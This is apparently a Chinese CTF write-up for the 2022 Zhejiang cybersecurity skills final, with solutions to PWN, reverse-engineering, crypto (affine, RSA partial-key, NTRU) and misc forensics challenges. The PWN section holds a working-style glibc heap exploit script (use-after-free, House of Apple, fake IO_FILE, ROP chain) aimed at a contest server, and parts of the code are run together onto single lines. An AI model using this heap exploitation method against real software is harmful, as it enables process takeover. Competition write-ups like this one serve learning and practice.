2022浙江省网络安全技能赛决赛

PWN
- Hodgepodge
RE
- ezandroid
Crypto
- math
- rsa
- NTRU
MISC
- checkin_gift
- m4a

欢迎来玩嘤嘤嘤

PWN

Hodgepodge

uaf+houseofapple

#encoding: utf-8
#!/usr/bin/python
from pwn import*
import sys
#context.log_level = "debug"
context.arch="amd64"
binary_name = "pwn"
libc_name = "libc.so.6"
ld_name = "ld"
local = 1
elf =ELF("./"+binary_name)
libc = ELF("./"+libc_name)
#ld = ELF("./"+ld_name)
se      = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num               :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
info    = lambda tag, addr          :log.info(tag + " -------------> " + hex(addr))
ia      = lambda                    :io.interactive()
if local==1:io = remote("1.14.97.218",20971)
else:io = process("./"+binary_name)def debug():gdb.attach(io,'''b _IO_wdoallocbuf ''')pause()
def ROL(content, key):tmp = bin(content)[2:].rjust(64, '0')return int(tmp[key:] + tmp[:key], 2)
def add(size,content):sla(">>","1")sla("Size:",str(size))sla("Please input the content",content)
def free(index):sla(">>","2")sla("idx:",str(index))
def show(index):sla(">>","4")sla("idx",str(index))
def edit(index,content):sla(">>","3")sla("idx",str(index))sla("Content",content)
add(0x418,"aaa")#0
add(0x420,"aaa")#1
add(0x410,"aaa")#2
add(0x418,"bbb")#3
free(1)
add(0x430,"aaa")#4
free(3)
show(1)
ru("\n")
libcbase = uu64(io.recv(6))-2044080
info("libcbase",libcbase)
edit(1,"a"*0xf)
show(1)
ru("a"*0xf+"\n")
heap_addr =uu64(io.recv(6))
info("heap_addr",heap_addr)
stdout_addr = libcbase + libc.sym["stdout"]stderr_addr = libcbase + libc.sym["stderr"]
info("stderr_addr",stderr_addr)
pop_rdi_ret = libcbase + 0x000000000002daa2
pop_rsi_ret = libcbase  +0x0000000000037c0a
pop_rdx_r12_ret = libcbase + 0x00000000001066e1
syscall = libcbase + 0x00000000000883b6
pop_rax_ret = libcbase  + 0x00000000000446c0
open_addr = libcbase + libc.sym["open"]
read_addr = libcbase + libc.sym["read"]
write_addr = libcbase + libc.sym["write"]
setcontext = libcbase + libc.sym["setcontext"]+61
gadget_addr = libcbase + 0x0000000000146020 #mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
flag_addr = heap_addr + 1576
orw = flat([pop_rdi_ret,flag_addr,pop_rsi_ret,0,pop_rax_ret,2,syscall,pop_rdi_ret,3,pop_rsi_ret,heap_addr,pop_rdx_r12_ret,0x30,0,read_addr,pop_rdi_ret,1,pop_rsi_ret,heap_addr,pop_rdx_r12_ret,0x30,0,write_addr])
info("setcontext",setcontext)
edit(1,p64(libcbase+2044080)*2+p64(heap_addr)+p64(stderr_addr-0x20))fake_IO_FILE = p64(0)*4
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(heap_addr+0xc18-0x68)#rdx
fake_IO_FILE +=p64(setcontext)#call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_addr+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(heap_addr+1088) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libcbase+2048000) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(heap_addr+0xb30+0x10) # rax2frame = SigreturnFrame()
frame.rsp = 0xF8 + 0x10+ heap_addr+1088+0xf0
frame.rip = pop_rdi_ret + 1 add(0x430,"aaa")#5
add(0x418,"aaaa")#6
edit(1,p64(libcbase+2044080)*2+p64(heap_addr)+p64(heap_addr))
add(0x420,fake_IO_FILE)#7
free(4)
add(0x410,"aaaa")
free(5)
# edit(4,"chen")
edit(4,"a"*0x410+p64(0)+p64(0x80))
payload = b'\x00'*0x68+p64(gadget_addr)
payload =payload.ljust(0xe0,"\x00")
payload +=p64(heap_addr+1088)
payload += p64(heap_addr+1088+0xf0) + '\x00' * 0x20 + p64(setcontext)
payload += str(frame).ljust(0xF8, '\x00')[0x28:] + 'flag'.ljust(0x10, '\x00') + orw
edit(2,payload)
edit(0,"\x00"*0x400+p64(heap_addr))
free(1)
free(0)
add(0x430,"\x00"*0x418+p64(heap_addr+1088+0xf0))# debug()
sla(">>","1")
sla("Size:",str(0x420))
ia()

RE

ezandroid

用jadx-gui打开apk文件，找到mainactivity

提示输出用户名和密码

根据加密算法change，解密得到pwd

ss=[404, 220, 436, 368, 220, 436, 412, 452, 432, 200, 412]
s=''
for i in range(len(ss)):s+=chr((ss[i]>>2)^3)
print(s)
#f4n_4ndro1d

Crypto

math

根据题目

威尔逊定理的广义问题和简单仿射加密的混合

( n − 1 ) ! % n = 1 (n-1)!\%n=1 (n−1)!%n=1

k e y = ( n − 2 ) ! % n key=(n-2)!\%n key=(n−2)!%n

k e y ∗ ( n − 1 ) % n = 1 key*(n-1)\%n=1 key∗(n−1)%n=1

k e y = i n v e r s e ( n − 1 , n ) key=inverse(n-1,n) key=inverse(n−1,n)

from Crypto.Util.number import *table = 'abcdefghijklmnopqrstuvwxyz0123456789+='
cipher = 'u66hp7nuh01puoaip10pi6o0vzavnu11'
n=176778040837484895481963794918312894811914463587783883976856801676290821243853364789418908640505211936881707629753845875997805883248035576046706978993073043757445726165605877196383212378074705385178610178824713153854530726380795438083708575716562524587045312909657881223522830729052758566504582290081411626333flag = ''
a1 = inverse(n-1,n)
a1=inverse(a1,37)
b1 = 7for i in cipher:if i in table:pos = table.find(i)flag += table[(a1 * (pos - b1)) % 37]print(flag)
#799a03b7a82076f5028059681df1b722

rsa

给了p低位，解不出来，选择再爆破几位

from sage.all import *
from tqdm import *
from Crypto.Util.number import *
n=21595945409392994055049935446570173194131443801801845658035469673666023560594683551197545038999238700810747167248724184844583697034436158042499504967916978621608536213230969406811902366916932032050583747070735750876593573387957847683066895725722366706359818941065483471589153682177234707645138490589285500875222568286916243861325846262164331536570517513524474322519145470883352586121892275861245291051589531534179640139953079522307426687782419075644619898733819937782418589025945603603989100805716550707637938272890461563518245458692411433603442554397633470070254229240718705126327921819662662201896576503865953330533
e=65537
c=1500765718465847687738186396037558689777598727005427859690647229619648539776087318379834790898189767401195002186003548094137654979353798325221367220839665289140547664641612525534203652911807047718681392766077895625388064095459224402032253429115181543725938853591119977152518616563668740574496233135226296439754690903570240135657268737729815911404733486976376064060345507410815912670147466261149162470191619474107592103882894806322239740349433710606063058160148571050855845964674224651003832579701204330216602742005466066589981707592861990283864753628591214636813639371477417319679603330973431803849304579330791040664
p4=1426723861968216959675536598409491243380171101180592446441649834738166786277745723654950385796320682900434611832789544257790278878742420696344225394624591657752431494779
#p去0的剩余位
pbits = 1024
kbits = pbits - p4.nbits()PR.<x> = PolynomialRing(Zmod(n))
for i in tqdm(range(2**13,2**15)):i=Integer(i)f = x*2^(560+i.nbits()) + p4+i*2^560f=f.monic()roots = f.small_roots(X=2^(1024-560-i.nbits()), beta=0.4)if roots:px=int(roots[0])*2^(560+i.nbits()) + p4+i*2^560q=n//pxif(px*q==n):d=inverse(e,(px-1)*(q-1))print(long_to_bytes(pow(c,d,n)))

NTRU

DASCTF7月赛改了个n

之前是10 直接爆破出来了，比较小，我还没存预期解。。。。

La佬博客上有代码直接复制下来会发现他不能逆，赛后尚师傅说v不是L[0]应该后面都有可能，选择可以逆的那一项

#Sage
#多项式
from Crypto.Cipher import AES
from Crypto.Hash import SHA3_256
N = 66
p = 3
q = 2^20Q.<x> = Zmod(q)[]
P.<y> = Zmod(p)[]
hx = 847417*x^65 + 149493*x^64 + 671215*x^63 + 940073*x^62 + 422433*x^61 + 906071*x^60 + 661777*x^59 + 213093*x^58 + 776476*x^57 + 308727*x^56 + 199931*x^55 + 256166*x^54 + 201216*x^53 + 964303*x^52 + 961341*x^51 + 216401*x^50 + 503421*x^49 + 391011*x^48 + 724233*x^47 + 834103*x^46 + 534483*x^45 + 145755*x^44 + 31514*x^43 + 633909*x^42 + 611687*x^41 + 656421*x^40 + 51098*x^39 + 23193*x^38 + 874589*x^37 + 481483*x^36 + 772432*x^35 + 596655*x^34 + 924673*x^33 + 790137*x^32 + 711581*x^31 + 795565*x^30 + 179559*x^29 + 974401*x^28 + 252177*x^27 + 712781*x^26 + 292518*x^25 + 556867*x^24 + 247625*x^23 + 131231*x^22 + 545208*x^21 + 774544*x^20 + 810813*x^19 + 997461*x^18 + 951783*x^17 + 778973*x^16 + 225243*x^15 + 241753*x^14 + 419437*x^13 + 1013119*x^12 + 847743*x^11 + 60647*x^10 + 477291*x^9 + 674781*x^8 + 245115*x^7 + 745149*x^6 + 280553*x^5 + 298381*x^4 + 849205*x^3 + 541486*x^2 + 720005*x + 21659
ex = -34408*x^65 - 271875*x^64 - 72324*x^63 - 146782*x^62 - 191501*x^61 + 228014*x^60 - 236704*x^59 - 162996*x^58 - 93476*x^57 + 438756*x^56 - 340498*x^55 - 177073*x^54 + 309787*x^53 + 287611*x^52 - 13370*x^51 - 189635*x^50 + 271391*x^49 + 215846*x^48 - 286021*x^47 + 215770*x^46 + 259901*x^45 - 9022*x^44 - 410163*x^43 + 187965*x^42 - 99716*x^41 + 150105*x^40 + 161841*x^39 - 24872*x^38 - 288722*x^37 + 263847*x^36 + 142479*x^35 - 355131*x^34 - 181543*x^33 - 379836*x^32 + 206610*x^31 - 264717*x^30 - 381231*x^29 + 346552*x^28 - 59454*x^27 - 38411*x^26 - 200819*x^25 + 271459*x^24 + 169671*x^23 - 494515*x^22 - 250245*x^21 + 28462*x^20 + 485002*x^19 - 252744*x^18 + 301433*x^17 + 116488*x^16 - 359247*x^15 + 472604*x^14 + 16539*x^13 - 207870*x^12 - 137611*x^11 - 379327*x^10 + 477482*x^9 + 447007*x^8 - 368776*x^7 - 488265*x^6 - 312305*x^5 - 17292*x^4 + 372405*x^3 + 288980*x^2 + 95015*x - 99099c = b"\x90\xd4D\xd0\x0e\x19\x04\xd2]\xd5k\x0c&\xeas\xf42T\x89\x02\x10\xa7\x1b\x04aR|<,\xa8J/\x86\xdf@wW&\xf3\x1c}\x0e\xe1\xa4\xc4'\xffw\xc8\xcaT+\x10\xacR\xc0N\x99\x83\x1d}F\x0f\x99"print('-------decrypt------')
qq = x^N-1
pp = y^N-1
hn = [int(x) for x in hx.coefficients()]
n = len(hn)
A1 = matrix.identity(n)
A0 = matrix.zero(n)
Aq = matrix.identity(n) * q
Ah = matrix(ZZ, [hn[-i:] + hn[:-i] for i in range(n)])
M = block_matrix([A1,Ah,A0,Aq],nrows=2)
L = M.LLL()
for i in range(132):v = L[i]f = list(v)[:n]g = list(v)[n:]fx = Q(f)fy = P(f)gx = Q(g)try:Fpy = fy.inverse_mod(pp)breakexcept:continueR.<x> = ZZ[]
ax = (fx*ex).mod(qq)
an = [int(x) for x in ax.coefficients()]
#中心提升(centerlift)，使域范围从[0,q)变换到(-q/2,q/2)
for i in range(len(an)):if an[i] > q//2:an[i] -= q
ax = P(an)
print(ax)
out = (Fpy * ax).mod(pp)
def liftMod(f, q):g = list(((f[i] + q//2) % q) - q//2 for i in range(N))return R(g)
m=liftMod(out,p)
m=liftMod(m,p)
sha3 = SHA3_256.new()
sha3=sha3.update(bytes(str(m).encode('utf-8')))
key = sha3.digest()
c = b"\x90\xd4D\xd0\x0e\x19\x04\xd2]\xd5k\x0c&\xeas\xf42T\x89\x02\x10\xa7\x1b\x04aR|<,\xa8J/\x86\xdf@wW&\xf3\x1c}\x0e\xe1\xa4\xc4'\xffw\xc8\xcaT+\x10\xacR\xc0N\x99\x83\x1d}F\x0f\x99"
cypher = AES.new(key, AES.MODE_ECB)
c = cypher.decrypt(c)
print(c)

MISC

checkin_gift

010打开

发现一串类似于base编码

解码得到

m4a

010打开发现是一个mp4文件，改后缀得到莫斯密码

后面有一个逆置的PK文件

逆一下

with open("m4a","rb") as f:a=f.read()[::-1]
with open("1.zip","wb") as f1:f1.write(a)

发现是加密压缩包，用莫斯解

得到atbash.txt

(+w)v&LdG_FhgKhdFfhgahJfKcgcKdc_eeIJ_gFN

一把梭

再用atbash解码

这里刚开始没想到是音频文件。。。我直接爆破压缩包密码，还爆出来了，但是解压缩之后的文本是乱码。。。。